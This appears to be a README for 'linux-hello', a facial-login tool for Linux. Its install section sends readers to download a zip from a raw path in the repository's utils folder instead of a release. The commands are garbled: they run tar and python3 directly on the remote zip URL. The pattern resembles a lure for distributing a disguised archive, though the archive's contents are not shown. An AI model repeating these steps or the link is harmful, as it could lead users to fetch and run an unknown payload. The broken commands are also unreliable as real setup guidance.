🔐 linux-hello - Effortless Facial Authentication for Linux

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📖 Overview

linux-hello provides a simple way to secure your Linux device using facial recognition. Inspired by Windows Hello, this tool uses advanced techniques for reliable face detection and recognition.

🔍 Features

• Facial Authentication: Quickly log in using your face.
• Rotation-Invariant Detection: Works well from different angles.
• TPM Support: Enhances security by integrating with Trusted Platform Module.
• User-Friendly GUI: Easy management of settings and preferences.
• Open Source: Join our community and contribute.

✅ System Requirements

• Operating System: Linux (Ubuntu 18.04 or newer recommended)
• Processor: 64-bit processor
• Memory: Minimum 4 GB RAM
• Storage: At least 100 MB of free disk space
• Camera: A webcam or built-in camera capable of video capture

🚀 Getting Started

Follow these simple steps to download and run the software:

1. Visit the Releases Page:

   • Go to the Releases page to find the latest version of linux-hello.

2. Download the Installer:

   • Click on the version number to open its details.
   • Look for a file named https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip or similar.
   • Download this file to your computer.

3. Extract the Downloaded File:

   • Open a terminal window.
   • Navigate to the directory where you downloaded the file. You can do this using the cd command.
   • Run the command:

     tar -xvzf https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip

   • This will extract the files into a new folder.

4. Install Dependencies:

   • Before running the software, ensure you have the required dependencies installed. Run the following commands:

     sudo apt-get update
     sudo apt-get install python3 python3-opencv python3-tk python3-pip

5. Run linux-hello:

   • In the terminal, navigate to the extracted folder:

     cd linux-hello-x.x.x

   • Start the application by running:

     python3 https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip

💡 Usage Tips

• When you first open the application, you will need to set up your facial recognition profile.
• Make sure you are in a well-lit area for the best results.
• Regularly update your profile if your appearance changes significantly.

🔄 Updating

To update linux-hello, simply repeat the download steps described above. Installing newer versions will overwrite the old files, ensuring you have the latest features and improvements.

❓ Troubleshooting

If you encounter issues during setup or usage:

• Check FAQ sections in the documentation on the GitHub page.
• Ensure your system meets the requirements.
• Make sure your webcam is functioning properly.

📞 Support

If you need further assistance, please reach out through the issues section of the GitHub repository. Our team and community members will happily help you.

📅 Contributing

We welcome contributions! If you want to help improve linux-hello, check out the contributing guidelines on our GitHub page.

🌟 Acknowledgements

Thanks to the open-source community for their contributions to facial recognition technologies and to everyone who has supported this project.

🔗 Useful Links

• Releases Page
• Documentation
• Issues

Feel free to explore more and customize your usage of linux-hello. Your safe and secure login experience is just a face scan away!